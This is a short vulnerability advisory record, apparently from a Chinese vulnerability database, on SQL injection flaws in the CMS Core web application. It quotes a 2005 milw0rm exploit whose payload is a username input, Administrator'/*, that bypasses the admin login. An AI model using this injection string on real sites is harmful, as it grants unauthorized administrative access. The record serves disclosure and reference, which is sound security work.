https://www.exploit-db.com/exploits/808
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-424

CMScore存在多个SQL注入漏洞。远程攻击者可以通过index.php的(1)EntryID或(2)searchterm参数，或者authenticate.php的(3)username参数来执行任意SQL命令。

/*==========================================*/
// GHC -> CMS CORE <- ADVISORY
// Product: CMS Core
// URL: http://chipmunk-scripts.com/scripts/cmscore.php
// VULNERABILITY CLASS: SQL injection
/*==========================================*/

[exploit]
Log in with username
Administrator'/*
from admin/index.php page.

# milw0rm.com [2005-02-10]

来源:XF
名称:cmscore-multiple-sql-injection(19235)
链接:http://xforce.iss.net/xforce/xfdb/19235
来源:BID
名称:12457
链接:http://www.securityfocus.com/bid/12457
来源:SECUNIA
名称:14142
链接:http://secunia.com/advisories/14142/
来源:BUGTRAQ
名称:20050209CMSCoreSQLinjection
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110803385223054&w;=2